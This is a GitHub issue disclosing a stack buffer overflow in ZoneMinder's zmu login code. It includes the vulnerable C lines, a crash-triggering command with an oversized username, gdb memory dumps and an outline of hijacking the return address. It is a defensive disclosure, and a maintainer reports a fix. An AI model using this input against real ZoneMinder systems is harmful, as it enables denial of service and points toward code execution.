Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Stack based buffer Overflow - /src/zm_user.cpp (zmu) #2478

Closed
Loginsoft-Research opened this issue Jan 25, 2019 · 1 comment
Closed

Stack based buffer Overflow - /src/zm_user.cpp (zmu) #2478

Loginsoft-Research opened this issue Jan 25, 2019 · 1 comment

Comments

@Loginsoft-Research
Copy link

Describe Your Environment

  • ZoneMinder v1.33.1
  • Installed from - ppa:iconnor/zoneminder-master

Describe the bug
A Stack overflows occur when variable size data is copied into fixed length buffers located on the program stack without any bounds checking. Vulnerabilities of this class are generally considered to be of high severity since their exploitation would mostly permit arbitrary code execution or Denial of Service.

To Reproduce
Affected Binary - zmu

An attacker can exploit the buffer by smashing the stack and modifying the return address of the function. This can be used to call some other function, like pointing the return address to some custom shellcode, injected into the stack.

In function: zmLoadUser()

Vulnerable function: mysql_real_escape_string()

Detail: The vulnerability exists in function zmLoadUser(), in zm_user.cpp, while authenticating the user. The vulnerability exists in the login functionality. Once a username & password is supplied to the zmu binary, the username & password is passed through mysql_real_escape_string() function in order to produce an escaped SQL string. Due to absense of any protection and limitation placed to the length of username & password, there exists a stack based buffer overflow.

Vulnerable code -

char safer_username[65]; 
mysql_real_escape_string(&dbconn, safer_username, username, strlen( username ) ); 
char safer_password[129]; 
mysql_real_escape_string(&dbconn, safer_password, password, strlen( password ) ); 

stack

stack 2

Setup -
We need to compile the binary from source, using custom flags, inorder to trigger & debug the vulnerability.

Steps to compile -

  • mkdir build (In zoneminder directory)
  • cd build
  • cmake .. -DCMAKE_C_FLAGS="-fsanitize=address -g -O0 -fno-stack-protector" -DCMAKE_CXX_FLAGS="-fsanitize=address -g -O0 -fno-stack-protector"
  • cd src/

Command to run - ./zmu -U $(python -c "print 'a'*645") -P admin

Root Cause Analysis -

Vulnerable function syntax - unsigned long mysql_real_escape_string(MYSQL *mysql, char *to, const char *from, unsigned long length)

Characters in the from argument are escaped & the result is placed in the to argument, of the length specified, followed by a terminating null byte .
As per the Mysql documentation,

"The string pointed to by from must be length bytes long.
You must allocate the to buffer to be at least length*2+1 bytes long.
(In the worst case, each character may need to be encoded as using two bytes, and there must be room for the terminating null byte.) When mysql_real_escape_string() returns, the contents of to is a null-terminated string."

But as per the current code, the length is calculated form the lenth of the username & password(from) argument & can exceed more than the safer_username & safer_password (to) limit, which is an fixed array (safer_username[65] & safer_password[129]), causing stack based buffer overflow.

By looking at the comments written in zmLoadUser() function (zm_user.cpp), the to argumunt array is calculated based upon the current db username size, which is of 32. Following what's said in the documentation (length2+1 bytes long), 232+1 = 65 is the limit set for the to argument - safer_username (same for safer_password). Ignoring the fact that there's no limit set for the username, password input received to the binary.

 93	 
     94	   // According to docs, size of safer_whatever must be 2*length+1 due to unicode conversions + null terminator.
 →   95	   mysql_real_escape_string(&dbconn, safer_username, username, strlen( username ) );
     96	 
     97	   if ( password ) {

gef➤ p username
$9 = 0xbffff5ee 'a' 

gef➤ p safer_username 
$17 = 'a' 

gef➤ p/d strlen( username )
$19 = 645

Initially the username & password pointer address remains valid, until it reaches safer_username, populating other pointer addresses with the injected payload.

95	   mysql_real_escape_string(&dbconn, safer_username, username, strlen( username ) );
     96	 
		// password=0xbffef344  →  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
 →   97	   if ( password ) {
     98	     char safer_password[129]; // current db password size is 64

──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80d2a17 → zmLoadUser(username=0x61616161 <error: Cannot access memory at address 0x61616161>, password=0x61616161 <error: Cannot access memory at address 0x61616161>)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/150wx safer_username
0xbffef15b: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffef16b: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffef17b: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffef18b: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffef19b: 0x61616161 0x61616161 0x61616161 0x61616161
.
.
.
.
.
.
0xbffef32b: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffef33b: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffef34b: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffef35b: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffef36b: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffef37b: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffef38b: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffef39b: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffef3ab: 0x61616161 0x61616161

gef➤ x 0xbffef34b - 0x17 //Offset to Address of password
0xbffef334: 0x61616161

Here we can see, how the pointer address values are populated with the injected values (a's) . Later the code, when the pointer addresses are accessed, segmentation fault is raised due to an invalid memory access.

Expected behavior

  • An attacker can Bypass authentication by overwriting the function pointer. It should limit the username limit.

Debug Logs


None

@connortechnology
Copy link
Member

We think this is fixed now.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants